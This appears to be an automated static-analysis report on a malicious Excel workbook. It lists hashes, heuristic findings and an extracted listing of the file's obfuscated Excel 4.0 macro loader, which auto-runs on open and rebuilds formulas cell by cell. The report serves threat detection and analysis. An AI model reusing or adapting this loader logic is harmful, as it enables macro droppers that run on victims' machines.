Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3eea65e2019f6aaf…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:31:32 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 648392d8995773e3e58cbb15cfa25ca9 SHA-1: dc36d211b6dfbbd5e744812047fc120ac127c5c6 SHA-256: 3eea65e2019f6aaf9901c0a3cf02aa3e1160ea48099f00209795609eef514d48
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests malicious intent. The macro sheet itself contains a large amount of seemingly random data, which could be obfuscated code or a payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6528 bytes
SHA-256: c42cf3f7cdda2f9abaad9fd22b381d89f234843e9fa283c446c2e5e4f1c5821e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VqpWbp
' 0018     26 LABEL : Cell Value, String Constant - ACManRtyxkP len=0 
' 0018     24 LABEL : Cell Value, String Constant - alllihyDr len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A163 
' 0018     23 LABEL : Cell Value, String Constant - BAQIkQyS len=0 
' 0018     20 LABEL : Cell Value, String Constant - bLvAA len=0 
' 0018     27 LABEL : Cell Value, String Constant - duPHvbQrNhtI len=0 
' 0018     23 LABEL : Cell Value, String Constant - gIXsuNzn len=0 
' 0018     27 LABEL : Cell Value, String Constant - HHSftajVGPpQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - hZBHuxO len=0 
' 0018     24 LABEL : Cell Value, String Constant - jnEdyoVqv len=0 
' 0018     23 LABEL : Cell Value, String Constant - ObiAUQim len=0 
' 0018     23 LABEL : Cell Value, String Constant - qRZnlAyx len=0 
' 0018     20 LABEL : Cell Value, String Constant - sidyp len=0 
' 0018     24 LABEL : Cell Value, String Constant - ttycrqOxl len=0 
' 0018     24 LABEL : Cell Value, String Constant - tzAZRiehJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - UlCygp len=0 
' 0018     21 LABEL : Cell Value, String Constant - uXwnjt len=0 
' 0018     27 LABEL : Cell Value, String Constant - UzZBjdtDDYKR len=0 
' 0018     26 LABEL : Cell Value, String Constant - xcVcAWfCajG len=0 
' 0018     26 LABEL : Cell Value, String Constant - xddGXedxzPF len=0 
' 0018     21 LABEL : Cell Value, String Constant - xuvDbm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VqpWbp,A69,"SET.NAME("ttycrqOxl",VALUE("0"))",""
'  VqpWbp,A74,"SET.NAME("jnEdyoVqv",ttycrqOxl)",""
'  VqpWbp,A78,"SET.NAME("sidyp",ttycrqOxl)",""
'  VqpWbp,A80,"SET.NAME("UzZBjdtDDYKR",COUNTA(UlCygp))",""
'  VqpWbp,A84,"SET.NAME("duPHvbQrNhtI",COUNTA(hZBHuxO))",""
'  VqpWbp,A87,[],""
'  VqpWbp,A89,"SET.NAME("ACManRtyxkP","")",""
'  VqpWbp,A94,"jnEdyoVqv",""
'  VqpWbp,A97,"SET.NAME("qRZnlAyx",HLOOKUP("*",UlCygp,jnEdyoVqv,FALSE))",""
'  VqpWbp,A102,"alllihyDr",""
'  VqpWbp,A107,"SET.NAME("xuvDbm",ttycrqOxl)",""
'  VqpWbp,A110,[],""
'  VqpWbp,A114,"xuvDbm",""
'  VqpWbp,A118,"uXwnjt",""
'  VqpWbp,A121,"BAQIkQyS",""
'  VqpWbp,A124,"xcVcAWfCajG",""
'  VqpWbp,A129,"SET.NAME("HHSftajVGPpQ",VALUE(HLOOKUP("*",hZBHuxO,xcVcAWfCajG,FALSE)))",""
'  VqpWbp,A134,"xddGXedxzPF",""
'  VqpWbp,A139,"ACManRtyxkP",""
'  VqpWbp,A143,"sidyp",""
'  VqpWbp,A148,NEXT(),""
'  VqpWbp,A150,"gIXsuNzn",""
'  VqpWbp,A152,"SET.NAME("f",INT(T(FORMULA(T(ACManRtyxkP)&"",""&T(gIXsuNzn)))))",""
'  VqpWbp,A155,"bLvAA",""
'  VqpWbp,A157,NEXT(),""
'  VqpWbp,A161,RETURN(),""
'  VqpWbp,A187,"SET.NAME("ObiAUQim",A69)",""
'  VqpWbp,A192,"UlCygp",""
'  VqpWbp,A196,"SET.NAME("hZBHuxO",R75C11)",""
'  VqpWbp,A198,"SET.NAME("bLvAA",204)",""
'  VqpWbp,A201,"SET.NAME("tzAZRiehJ",1)",""
'  VqpWbp,A203,ObiAUQim(),""
'  VqpWbp,A204,HALT(),""